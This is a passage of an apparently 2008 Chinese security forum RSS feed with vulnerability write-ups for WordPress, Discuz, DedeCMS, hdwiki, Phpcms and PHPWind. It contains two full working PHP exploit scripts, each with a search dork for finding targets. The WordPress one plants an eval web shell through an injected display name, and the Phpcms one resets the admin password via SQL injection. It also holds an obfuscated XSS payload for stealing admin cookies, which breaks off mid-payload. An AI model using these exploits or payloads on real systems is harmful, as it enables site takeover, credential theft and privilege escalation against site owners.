            $last_user = get_userdata( $last );
            $last_user_name = $last_user ? $last_user-&gt;display_name : __(&#039;Somebody&#039;);
            $message = sprintf( __( &#039;Warning: %s is currently editing this post&#039; ), wp_specialchars( $last_user_name ) );
            $message = str_replace( &quot;&#039;&quot;, &quot;\&#039;&quot;, &quot;&lt;div class=&#039;error&#039;&gt;&lt;p&gt;$message&lt;/p&gt;&lt;/div&gt;&quot; );
            //提交\&#039;经过此处代码处理后变为\\&#039; :)
            add_action(&#039;admin_notices&#039;, create_function( &#039;&#039;, &quot;echo &#039;$message&#039;;&quot; ) );
            //利用上面的方法闭合echo后面的单引号,就可以执行命令了[ex:\&#039;;phpinfo();\&#039;];另外这个地方也可以利用create_function函数自身的一个bug[1]来执行命令[ex:\&#039;;}phpinfo();//]
        } else {
            wp_set_post_lock( $post-&gt;ID );
            wp_enqueue_script(&#039;autosave&#039;);
        }
    }</code></pre></div><p>EXP:<br /></p><div class="codebox"><pre><code>#!/usr/bin/php
&lt;?php

print_r(&#039;
+---------------------------------------------------------------------------+
Wordpress 2.7.0 remote code execution exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
site: http://www.80vul.com
dork: &quot;powered by WordPress&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
 * works regardless of php.ini settings
 */
if ($argc &lt; 6) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path user pass post
host:      target server (ip/hostname)
path:      path to wordpress
user:      admin login username
pass:      admin login password
post:      the available post id
Example:
php &#039;.$argv[0].&#039; localhost /wp/ admin 123456 1
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];
$post = $argv[5];

$shellcode = &#039;\\\&#039;;eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));\\\&#039;&#039;;
//$shellcode = &#039;\\\&#039;;}eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));//&#039;;
$shell = &#039;http://&#039;.$host.$path.&#039;wp-content/plugins/wolvez.php&#039;;
/**
 * wolvez.php has this code:
 * &lt;?eval($_POST[c])?&gt;
 */
$url = $path.&#039;wp-login.php&#039;;
$cmd = &#039;log=&#039;.urlencode($user).&#039;&amp;pwd=&#039;.urlencode($pass);
$resp = send();
preg_match(&#039;/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/&#039;, $resp, $admin_cookie);

if (!$admin_cookie)
    exit(&quot;Exploit Failed!\n&quot;);
    
$url = $path.&#039;wp-admin/user-new.php#add-new-user&#039;;
$cmd = &#039;&#039;;
$resp = send($admin_cookie[1]);
preg_match(&#039;/name=&quot;_wpnonce&quot;\svalue=&quot;([a-z0-9]{10})&quot;/&#039;, $resp, $_wpnonce);

if (!$_wpnonce)
    exit(&quot;Exploit Failed!\n&quot;);

$cmd = &#039;_wpnonce=&#039;.$_wpnonce[1].&#039;&amp;action=adduser&amp;user_login=ryat&amp;email=ryat%40ryat.com&amp;pass1=123456&amp;pass2=123456&amp;role=editor&amp;display_name=&#039;.$shellcode;
$resp = send($admin_cookie[1]);

if (strpos($resp, &#039;users.php?usersearch=ryat&amp;update=add#user&#039;) === false)
    exit(&quot;Exploit Failed!\n&quot;);

$url = $path.&#039;wp-login.php&#039;;
$cmd = &#039;log=ryat&amp;pwd=123456&#039;;
$resp = send();
preg_match(&#039;/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/&#039;, $resp, $editor_cookie);

if (!$editor_cookie)
    exit(&quot;Exploit Failed!\n&quot;);

$url = $path.&#039;wp-admin/post.php?action=edit&amp;post=&#039;.$post;
$cmd = &#039;&#039;;
send($editor_cookie[1]);
send($admin_cookie[1]);

if (strpos(file_get_contents($shell), &#039;puret_t&#039;) !== false)
    exit(&quot;Expoilt Success!\nView Your shell:\t$shell\n&quot;);
else
    exit(&quot;Exploit Failed!\n&quot;);

function send($cookie = &#039;&#039;)
{
    global $host, $path, $url, $cmd;

    $data = &quot;POST $url  HTTP/1.1\r\n&quot;;
    $data .= &quot;Accept: */*\r\n&quot;;
    $data .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $data .= &quot;Referer: http://$host$path\r\n&quot;;
    $data .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $data .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
    $data .= &quot;Host: $host\r\n&quot;;
    $data .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
    $data .= &quot;Connection: Close\r\n&quot;;
    $data .= &quot;Cookie: $cookie\r\n\r\n&quot;;
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?&gt;</code></pre></div><p>参考:<br />[1]<a href="http://www.80sec.com/php-create_function-commond-injection-vulnerability.html">http://www.80sec.com/php-create_functio &#133; ility.html</a></p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Thu, 18 Dec 2008 06:03:11 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/37/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[DZ2.2F&Dede V5.1 $_FILES数组处理不当导致变量覆盖漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/32/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2008-12-02</p><p>i)dz22f</p><p>include/common.php<br /></p><div class="codebox"><pre><code>$_DSESSION = $_DCACHE = array(); //初始化了$_DCACHE等变量
...
if(!$register_globals || !$magic_quotes_gpc) {
    @extract(daddslashes($HTTP_POST_VARS), EXTR_SKIP);
    @extract(daddslashes($HTTP_GET_VARS), EXTR_SKIP);
    if(!$register_globals) {
        foreach($HTTP_POST_FILES as $key =&gt; $val) {
            $$key = $val[&#039;tmp_name&#039;];
            //这个地方可以覆盖任意变量,比如通过构造$_FILES[_DCACHE]来覆盖$_DCACHE;不过这个tmp_name不能控制[虽然不能控制,但重要的是$_DCACHE被覆盖成了字符串:)]
            ${$key.&#039;_name&#039;} = $val[&#039;name&#039;];
            ${$key.&#039;_size&#039;} = $val[&#039;size&#039;];
            ${$key.&#039;_type&#039;} = $val[&#039;type&#039;];
        }
    }
}
...
@extract($_DCACHE[&#039;settings&#039;]);
//利用上面的方法覆盖$_DCACHE后,这个地方将导致大量的变量没有初始化,这个思路和[1]SODB-2008-13类似:)</code></pre></div><p>一些基于dz22f二次开发的程序[如saforums]也受此漏洞影响</p><p>ii)dede v51</p><p>include/config_base.php<br /></p><div class="codebox"><pre><code>foreach($_REQUEST AS $_k =&gt; $_v) { 
    if(eregi(&quot;^(globals|cfg_)&quot;,$_k)) exit(&#039;Request var not allow!&#039;);
}
...
require_once(DEDEINC.&#039;/config_hand.php&#039;);   //这里$cfg_online_type有初始化
...
require_once(DEDEINC.&#039;/inc_request_vars.php&#039;);</code></pre></div><p>include/inc_request_vars.php<br /></p><div class="codebox"><pre><code>foreach(Array(&#039;_GET&#039;,&#039;_POST&#039;,&#039;_COOKIE&#039;) as $_request) 
{
     foreach($$_request as $_k =&gt; $_v){
          if($_k{0} != &#039;_&#039;) ${$_k} = RunMagicQuotes($_v); //可惜这个地方没法覆盖$_FILES
     }
}

if(is_array($_FILES))
{
  $cfg_not_allowall = &quot;php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml&quot;;
  $keyarr = array(&#039;name&#039;,&#039;type&#039;,&#039;tmp_name&#039;,&#039;size&#039;);
  foreach($_FILES as $_key=&gt;$_value)
  {
      foreach($keyarr as $k) {
          if(!isset($_FILES[$_key][$k])) exit(&#039;Request Error!&#039;);
      }
      $$_key = $_FILES[$_key][&#039;tmp_name&#039;] = str_replace(&quot;\\\\&quot;,&quot;\\&quot;,$_FILES[$_key][&#039;tmp_name&#039;]);
      //这个地方也可利用下[虽然不能控制tmp_name],比如覆盖上面的$cfg_not_allowall?
      ${$_key.&#039;_name&#039;} = $_FILES[$_key][&#039;name&#039;];
      ${$_key.&#039;_type&#039;} = $_FILES[$_key][&#039;type&#039;] = eregi_replace(&#039;[^0-9a-z\./]&#039;,&#039;&#039;,$_FILES[$_key][&#039;type&#039;]);
      //这个地方通过构造$_FILES[cfg_online]就可以覆盖$cfg_online_type了,而且我们可以控制这个值:)
      ${$_key.&#039;_size&#039;} = $_FILES[$_key][&#039;size&#039;] = ereg_replace(&#039;[^0-9]&#039;,&#039;&#039;,$_FILES[$_key][&#039;size&#039;]);
      if(!empty(${$_key.&#039;_name&#039;}) &amp;&amp; (eregi(&quot;\.(&quot;.$cfg_not_allowall.&quot;)$&quot;,${$_key.&#039;_name&#039;}) || !ereg(&quot;\.&quot;,${$_key.&#039;_name&#039;})) )
      {
           if(!defined(&#039;DEDEADMIN&#039;)) exit(&#039;Upload filetype not allow !&#039;);
      }
      if(empty(${$_key.&#039;_size&#039;})) ${$_key.&#039;_size&#039;} = @filesize($$_key);
  }

}</code></pre></div><p>member/buy_action.php<br /></p><div class="codebox"><pre><code>if(empty($cfg_online_type)) $cfg_online_type = &#039;none&#039;;
require_once(dirname(__FILE__).&#039;/config_pay_&#039;.$cfg_online_type.&#039;.php&#039;);
//用上面的方法覆盖$cfg_online_type，就可以触发本地包含漏洞了:)</code></pre></div><p>参考:<br />[1]<a href="http://www.80vul.com/dzvul/sodb/13/sodb-2008-13.txt">http://www.80vul.com/dzvul/sodb/13/sodb-2008-13.txt</a></p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Tue, 02 Dec 2008 07:23:11 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/32/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[快速寻找hdwiki的一个代码执行漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/30/new/posts/</link>
			<description><![CDATA[<p>By q1ur3n</p><p><a href="http://www.wolvez.org">http://www.wolvez.org</a>/</p><p>2008-11-14</p><p>说说过程吧,当然这样的洞是很低级的,纯属给大家娱乐。:)</p><p>安装好hdwiki后我注册了一个名为testtest的用户，然后cmd下cd到hdwiki的目录，执行<br />findstr /s /i /n &quot;testtest&quot; *.php<br />结果如下：<br />wikidata\cache\cache_index_chartsuser.php:1:a:2:{i:0;a:5:{s:7:&quot;user_id&quot;;s:1:&quot;2&quot;;<br />s:9:&quot;user_nick&quot;;s:4:&quot;root&quot;;s:10:&quot;user_click&quot;;s:1:&quot;0&quot;;s:13:&quot;user_nick_alt&quot;;s:4:&quot;r<br />oot&quot;;s:15:&quot;user_rewriteurl&quot;;s:18:&quot;space.php?userid=2&quot;;}i:1;a:5:{s:7:&quot;user_id&quot;;s:<br />2:&quot;14&quot;;s:9:&quot;user_nick&quot;;s:8:&quot;testtest&quot;;s:10:&quot;user_click&quot;;s:1:&quot;0&quot;;s:13:&quot;user_nick_<br />alt&quot;;s:8:&quot;testtest&quot;;s:15:&quot;user_rewriteurl&quot;;s:19:&quot;space.php?userid=14&quot;;}}</p><p>wikidata\cache\cache_index_activeuser.php:1:a:2:{i:0;a:5:{s:7:&quot;user_id&quot;;s:1:&quot;2&quot;;s:9:&quot;use<br />r_nick&quot;;s:4:&quot;root&quot;;s:14:&quot;user_small_ico&quot;;s:0:&quot;&quot;;s:13:&quot;user_nick_alt&quot;;s:4:&quot;root&quot;;<br />s:15:&quot;user_rewriteurl&quot;;s:18:&quot;space.php?userid=2&quot;;}i:1;a:5:{s:7:&quot;user_id&quot;;s:2:&quot;14<br />&quot;;s:9:&quot;user_nick&quot;;s:4:&quot;tes.&quot;;s:14:&quot;user_small_ico&quot;;s:0:&quot;&quot;;s:13:&quot;user_nick_alt&quot;;s<br />:8:&quot;testtest&quot;;s:15:&quot;user_rewriteurl&quot;;s:19:&quot;space.php?userid=14&quot;;}}</p><p>wikidata\cache\cache_index_latestuser.php:1:a:2:{i:0;a:5:{s:7:&quot;user_id&quot;;s:2:&quot;14&quot;;s:9:&quot;user_nic<br />k&quot;;s:4:&quot;tes.&quot;;s:14:&quot;user_small_ico&quot;;s:0:&quot;&quot;;s:13:&quot;user_nick_alt&quot;;s:8:&quot;testtest&quot;;s<br />:15:&quot;user_rewriteurl&quot;;s:19:&quot;space.php?userid=14&quot;;}i:1;a:5:{s:7:&quot;user_id&quot;;s:1:&quot;2&quot;<br />;s:9:&quot;user_nick&quot;;s:4:&quot;root&quot;;s:14:&quot;user_small_ico&quot;;s:0:&quot;&quot;;s:13:&quot;user_nick_alt&quot;;s:<br />4:&quot;root&quot;;s:15:&quot;user_rewriteurl&quot;;s:18:&quot;space.php?userid=2&quot;;}}</p><p>可以看到testtest被写入了这三个php文件里了,并且这三个php缓存文件可以正常执行,</p><p>于是我接着注册了一个名为q1ur3n&lt;?phpinfo();?&gt;的用户,再退出登陆了一次,</p><p>cmd下执行findstr /s /i /n &quot;q1ur3n&lt;?phpinfo();?&gt;&quot; *.php</p><p>结果如下</p><p>wikidata\cache\cache_index_chartsuser.php:1:a:3:{i:0;a:5:{s:7:&quot;user_id&quot;;s:1:&quot;2&quot;;<br />s:9:&quot;user_nick&quot;;s:4:&quot;root&quot;;s:10:&quot;user_click&quot;;s:1:&quot;0&quot;;s:13:&quot;user_nick_alt&quot;;s:4:&quot;r<br />oot&quot;;s:15:&quot;user_rewriteurl&quot;;s:18:&quot;space.php?userid=2&quot;;}i:1;a:5:{s:7:&quot;user_id&quot;;s:<br />2:&quot;14&quot;;s:9:&quot;user_nick&quot;;s:8:&quot;testtest&quot;;s:10:&quot;user_click&quot;;s:1:&quot;0&quot;;s:13:&quot;user_nick_<br />alt&quot;;s:8:&quot;testtest&quot;;s:15:&quot;user_rewriteurl&quot;;s:19:&quot;space.php?userid=14&quot;;}i:2;a:5:{<br />s:7:&quot;user_id&quot;;s:2:&quot;15&quot;;s:9:&quot;user_nick&quot;;s:6:&quot;q1ur3.&quot;;s:10:&quot;user_click&quot;;s:1:&quot;0&quot;;s:<br />13:&quot;user_nick_alt&quot;;s:20:&quot;q1ur3n&lt;?phpinfo();?&gt;&quot;;s:15:&quot;user_rewriteurl&quot;;s:19:&quot;spac<br />e.php?userid=15&quot;;}}</p><p>wikidata\cache\cache_index_activeuser.php:1:a:3:{i:0;a:5:{s:7:&quot;user_id&quot;;s:1:&quot;2&quot;;s:9:&quot;user_nick&quot;;s:4:&quot;root&quot;;s:14:&quot;user_small_ico&quot;;s:0:&quot;&quot;;s:13:<br />&quot;user_nick_alt&quot;;s:4:&quot;root&quot;;s:15:&quot;user_rewriteurl&quot;;s:18:&quot;space.php?userid=2&quot;;}i:1<br />;a:5:{s:7:&quot;user_id&quot;;s:2:&quot;14&quot;;s:9:&quot;user_nick&quot;;s:4:&quot;tes.&quot;;s:14:&quot;user_small_ico&quot;;s:<br />0:&quot;&quot;;s:13:&quot;user_nick_alt&quot;;s:8:&quot;testtest&quot;;s:15:&quot;user_rewriteurl&quot;;s:19:&quot;space.php?<br />userid=14&quot;;}i:2;a:5:{s:7:&quot;user_id&quot;;s:2:&quot;15&quot;;s:9:&quot;user_nick&quot;;s:4:&quot;q1u.&quot;;s:14:&quot;use<br />r_small_ico&quot;;s:0:&quot;&quot;;s:13:&quot;user_nick_alt&quot;;s:20:&quot;q1ur3n&lt;?phpinfo();?&gt;&quot;;s:15:&quot;user_<br />rewriteurl&quot;;s:19:&quot;space.php?userid=15&quot;;}}</p><p>wikidata\cache\cache_index_latestuser.php:1:a:3:{i:0;a:5:{s:7:&quot;user_id&quot;;s:2:&quot;15&quot;;s:9:&quot;user_nick&quot;;s:4:&quot;q1u.&quot;;s:14:&quot;user_<br />small_ico&quot;;s:0:&quot;&quot;;s:13:&quot;user_nick_alt&quot;;s:20:&quot;q1ur3n&lt;?phpinfo();?&gt;&quot;;s:15:&quot;user_re<br />writeurl&quot;;s:19:&quot;space.php?userid=15&quot;;}i:1;a:5:{s:7:&quot;user_id&quot;;s:2:&quot;14&quot;;s:9:&quot;user_<br />nick&quot;;s:4:&quot;tes.&quot;;s:14:&quot;user_small_ico&quot;;s:0:&quot;&quot;;s:13:&quot;user_nick_alt&quot;;s:8:&quot;testtest<br />&quot;;s:15:&quot;user_rewriteurl&quot;;s:19:&quot;space.php?userid=14&quot;;}i:2;a:5:{s:7:&quot;user_id&quot;;s:1:<br />&quot;2&quot;;s:9:&quot;user_nick&quot;;s:4:&quot;root&quot;;s:14:&quot;user_small_ico&quot;;s:0:&quot;&quot;;s:13:&quot;user_nick_alt&quot;<br />;s:4:&quot;root&quot;;s:15:&quot;user_rewriteurl&quot;;s:18:&quot;space.php?userid=2&quot;;}}</p><p>访问<br />http://localhost/hdwiki/wikidata/cache/cache_index_chartsuser.php<br />http://localhost/hdwiki/wikidata/cache/cache_index_latestuser.php<br />http://localhost/hdwiki/wikidata/cache/cache_index_activeuser.php</p><p>可爱的phpinfo出来了.:)</p><p>当然能碰到这样的漏洞也真的需要人品好才行(我当时有去买彩票的冲动),</p><p>不过作为php漏洞的fuzz这个应该算是很典型的。</p><p>哦,hdwiki的版本是3.1的,比较老。</p>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Sun, 16 Nov 2008 14:27:11 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/30/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[is_numeric()和intval()的安全隐患]]></title>
			<link>http://bbs.wolvez.org/topic/28/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2008-11-04</p><p>is_numeric()常常用来在进行数据库查询时检测变量是否为数字或者数字字符串,如下面的代码片断:<br /></p><div class="codebox"><pre><code>...
$tid = isset($tid) &amp;&amp; is_numeric($tid) ? $tid : 0;
$db-&gt;query(&quot;SELECT * FROM threads LIMIT $tid&quot;);
...</code></pre></div><p>但is_numeric()不仅支持十进制数字,也支持如十六进制等其他进制的数字,比如提交:<br /></p><div class="codebox"><pre><code>tid=0x1</code></pre></div><p>执行上面的代码,报错了:<br /></p><div class="codebox"><pre><code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;0x01&#039; at line 1</code></pre></div><p>还有的程序会用intval()对变量进行类型转换:<br /></p><div class="codebox"><pre><code>$tid = isset($tid) &amp;&amp; is_numeric($tid) ? intval($tid) : 0;</code></pre></div><p>intval虽然默认时只支持十进制数字,但依然会有问题,比如提交:<br /></p><div class="codebox"><pre><code>tid=-1 //十进制的负数</code></pre></div><p>执行上面的代码,依然报错:)</p><p>另外还需要注意的是intval()的转换范围[在1-2^31~2^31-1之间]:)</p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Tue, 04 Nov 2008 04:44:09 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/28/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[Phpcms2007 更改管理员密码漏洞]]></title>
			<link>http://bbs.wolvez.org/topic/26/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2008-10-01</p><p>这个漏洞没什么，可能利用上有点意思，我简单说下自己的思路：</p><div class="codebox"><pre><code>$mod = $digg_mod;
$digg_setting = cache_read(&#039;digg_setting.php&#039;);
@extract($digg_setting);
//包含了digg模块的配置文件，并执行了extract
unset($digg_setting);
if ($mod &amp;&amp; $id)
//这里的$mod，$id是可以利用的
{
    $table_end = $channelid == 0?&#039;&#039;:&#039;_&#039; . $channelid;
    $table_name = $CONFIG[&#039;tablepre&#039;] . $mod . $table_end;
    $mod_id = $mod . &#039;id&#039;;
    ......
    {
        $sql = &quot;SELECT * FROM $table_name WHERE $mod_id=$id&quot;;
        //这里可以select出需要的任何数据，但是下面并没有比较好的输出数据的地方
    }
    $res = $db-&gt;get_one($sql);
    @extract($res);
    //注意这里，这里对select出数据的执行了extract,如果可以控制查询的数据，就可以覆盖任意变量了:)
    ......
    if ($credit_on == 1 &amp;&amp; $con &amp;&amp; $con != 5 &amp;&amp; $con != 0)
    {
        $sql = &quot;SELECT `credit` FROM &quot; . TABLE_MEMBER . &quot; WHERE `username`=&#039;$editor&#039;&quot;;
        $res_member = $db-&gt;get_one($sql);
        if ($res_member)
        {
            if ($con == 3)
            {
                $credit = $res_member[&#039;credit&#039;] - $credit_num;
            }
            if ($con == 1 || $con == 2)
            {
                $credit = $res_member[&#039;credit&#039;] + $credit_num;
            }
            $db-&gt;query(&quot;UPDATE &quot; . TABLE_MEMBER . &quot; SET `credit`=&#039;$credit&#039; WHERE `username`=&#039;$editor&#039;&quot;);
            /*
            * 这里就是最终要利用的地方了
            * $credit_on是在digg_setting.php里定义的，但可以利用前面的extract覆盖掉
            * $editor,$credit也利用前面的extract的来覆盖，因为这样是从数据库中查询出的数据，是不受GPC影响的:)
            */
        }
    }</code></pre></div><p>前面就是具体的利用思路，再来说说这个sql语句的构造，因为我们需要$credit_on,$editor,$credit这三个变量，所以要有相应的字段，完整的sql语句如下：</p><div class="codebox"><pre><code>SELECT * FROM [tablepre][table_name],(SELECT 1 AS credit_on,[1&#039;,password=&#039;[password]&#039; WHERE username=&#039;[admin]&#039;#] AS credit,[&#039; UNION SELECT 1#] AS editor) AS [table_name] LIMIT 1# WHERE [mod_id]=[id]</code></pre></div><p>最后，给个EXP：</p><div class="codebox"><pre><code>#!/usr/bin/php
&lt;?php

print_r(&#039;
+---------------------------------------------------------------------------+
Phpcms 2007 SP6 reset admin password exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: &quot;Powered by Phpcms 2007&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
 * works regardless of php.ini settings
 */
if ($argc &lt; 4) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path user
host:      target server (ip/hostname)
path:      path to phpcms
user:      admin login name
Example:
php &#039;.$argv[0].&#039; localhost /phpcms/ admin
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];

$url = &#039;http://&#039;.$host.$path.&#039;member/member.php?username=&#039;.$user;

send();

if (strpos(file_get_contents($url), &#039;puret_t&#039;) !== false)
    exit(&quot;Expoilt Success!\nAdmin New Password:\t123456\n&quot;);
else
    exit(&quot;Exploit Failed!\n&quot;);

function send()
{
    global $host, $path, $user;

    $cmd = &#039;digg_mod=admin,(SELECT/**/1/**/AS/**/credit_on,0x&#039;.bin2hex(&#039;1\&#039;,password=\&#039;e10adc3949ba59abbe56e057f20f883e\&#039;,email=\&#039;puret_t\&#039;,showemail=1 WHERE username=\&#039;&#039;.$user.&#039;\&#039;#&#039;).&#039;/**/AS/**/credit,0x&#039;.bin2hex(&#039;\&#039; UNION SELECT 1#&#039;).&#039;/**/AS/**/editor)/**/AS/**/ryat/**/LIMIT/**/1%23&amp;id=1&amp;con=6&#039;;

    $message = &quot;POST &quot;.$path.&quot;digg/digg_add.php  HTTP/1.1\r\n&quot;;
    $message .= &quot;Accept: */*\r\n&quot;;
    $message .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $message .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $message .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
    $message .= &quot;CLIENT-IP: &quot;.time().&quot;\r\n&quot;;
    $message .= &quot;Host: $host\r\n&quot;;
    $message .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
    $message .= &quot;Connection: Close\r\n\r\n&quot;;
    $message .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Mon, 03 Nov 2008 11:42:27 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/26/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[关于date()]]></title>
			<link>http://bbs.wolvez.org/topic/25/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2008-07-17</p><p>先看一个有意思的exp:<a href="http://milw0rm.com/exploits/6085">http://milw0rm.com/exploits/6085</a></p><p>里面提到了date()函数的一个有意思的特性[摘自PHP手册中的一段解释]:<br /><em>格式字串中不能被识别的字符将原样显示,在格式字串中的字符前加上反斜线来转义可以避免它被按照上表解释,</em><br /><strong><em>注意要转义所有其它的字符，因为目前有特殊含义的字符会产生不需要的结果，而其余字符在PHP将来的版本中可能会被用上</em></strong></p><p>简单的看一下相关的php源码</p><div class="codebox"><pre><code>...
for (i = 0; i &lt; format_len; i++) {
    switch (format[i]) {
        /* day */
        case &#039;d&#039;: length = slprintf(buffer, 32, &quot;%02d&quot;, (int) t-&gt;d); break;
        case &#039;D&#039;: length = slprintf(buffer, 32, &quot;%s&quot;, php_date_short_day_name(t-&gt;y, t-&gt;m, t-&gt;d)); break;
        case &#039;j&#039;: length = slprintf(buffer, 32, &quot;%d&quot;, (int) t-&gt;d); break;
        ...

        case &#039;\\&#039;: if (i &lt; format_len) i++; /* break intentionally missing */

        default: buffer[0] = format[i]; buffer[1] = &#039;\0&#039;; length = 1; break;
    }
    smart_str_appendl(&amp;string, buffer, length);
}
...</code></pre></div><p>代码比较简单，如果format[ i ]是&#039;\&#039;,format[ i+1 ]就执行default,如果format[ i ]不在定义的格式字符串中,format[ i ]就执行default,也就是原样输出:)</p><p>如果date()函数的参数是可以控制的话,该如何利用呢,除了上面exp中提到的,还可以再发散下思维,比如:<br />\&#039;经过date()函数处理会变成&#039;</p><p>:)</p>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Mon, 03 Nov 2008 11:40:02 +0000</pubDate>
			<guid>http://bbs.wolvez.org/topic/25/new/posts/</guid>
		</item>
		<item>
			<title><![CDATA[The simple exploit for PW6 UBB code XSS]]></title>
			<link>http://bbs.wolvez.org/topic/24/new/posts/</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2008-04-09</p><p>还是bbscode.php里的ubb代码问题:</p><div class="codebox"><pre><code>        $searcharray = array(
                &quot;/\[font=([^\[\(&amp;]+?)\]/is&quot;,
                ...
        );
        $replacearray = array(
                &quot;&lt;span style=\&quot;font-family:\\1\&quot;&gt;&quot;,
                ...
        );
        $message = preg_replace($searcharray,$replacearray,$message);</code></pre></div><p>[font=]标签里限制了[(&amp;这个三个字符,不能用(就无法引入函数,而且&amp;# 102,&amp;# x66这样的十进制或十六进制编码形式也无法引入了,但可以用\66这样的十六进制编码形式:)</p><p>PoC:</p><div class="codebox"><pre><code>[font=\65\78\70\72\65\73\73\69\6f\6e\28\69\66\28\77\69\6e\64\6f\77\2e\78\21\3d\27\70\27\29\7b\61\6c\65\72\74\28\27\78\73\73\27\29\3b\77\69\6e\64\6f\77\2e\78\3d\27\70\27\3b\7d\29]</code></pre></div><p>编码前的代码如下:</p><div class="codebox"><pre><code>[font=expression(if(window.x!=&#039;p&#039;){alert(&#039;xss&#039;);window.x=&#039;p&#039;;})]</code></pre></div><p>这样仅仅弹个窗没什么意义,下面给出一个利用思路,利用好的话可以直接得到管理员权限:)</p><p>思路:<br />发新帖,利用[font=]标签注入恶意js ++++&gt; 诱骗管理员浏览 ++++&gt; 劫持管理员浏览器(cookie),利用XMLHttp获得$verify ++++&gt; 利用获得的管理员cookie,user agent,verify伪造http请求,提升用户权限</p><p>思路大致就是这样的,下面直接给出利用的代码,应该是比较简单的东西:)</p><p>发帖时利用的ubb code:</p><div class="codebox"><pre><code>[font=\65\78\70\72\65\73\73\69\6f\6e\28\69\66\28\77\69\6e\64\6f\77\2e\78\21\3d\27\70\27\29\7b\65\76\61\6c\28\53\74\72\69\6e\67\2e\66\72\6f\6d\43\68\61\72\43\6f\64\65\28\31\31\35\2c\36\31\2c\31\30\30\2c\31\31\31\2c\39\39\2c\31\31\37\2c\31\30\39\2c\31\30\31\2c\31\31\30\2c\31\31\36\2c\34\36\2c\39\39\2c\31\31\34\2c\31\30\31\2c\39\37\2c\31\31\36\2c\31\30\31\2c\36\39\2c\31\30\38\2c\31\30\31\2c\31\30\39\2c\31\30\31\2c\31\31\30\2c\31\31\36\2c\34\30\2c\33\39\2c\31\31\35\2c\39\39\2c\31\31\34\2c\31\30\35\2c\31\31\32\2c\31\31\36\2c\33\39\2c\34\31\2c\35\39\2c\31\31\35\2c\34\36\2c\31\31\35\2c\31\31\34\2c\39\39\2c\36\31\2c\33\39\2c\31\30\34\2c\31\31\36\2c\31\31\36\2c\31\31\32\2c\35\38\2c\34\37\2c\34\37\2c\31\31\39\2c\31\31\39\2c\31\31\39\2c\34\36\2c\31\31\39\2c\31\31\31\2c\31\30\38\2c\31\31\38\2c\31\30\31\2c\31\32\32\2c\34\36\2c\31\31\31\2c\31\31\34\2c\31\30\33\2c\34\37\2c\39\39\2c\31\31\35\2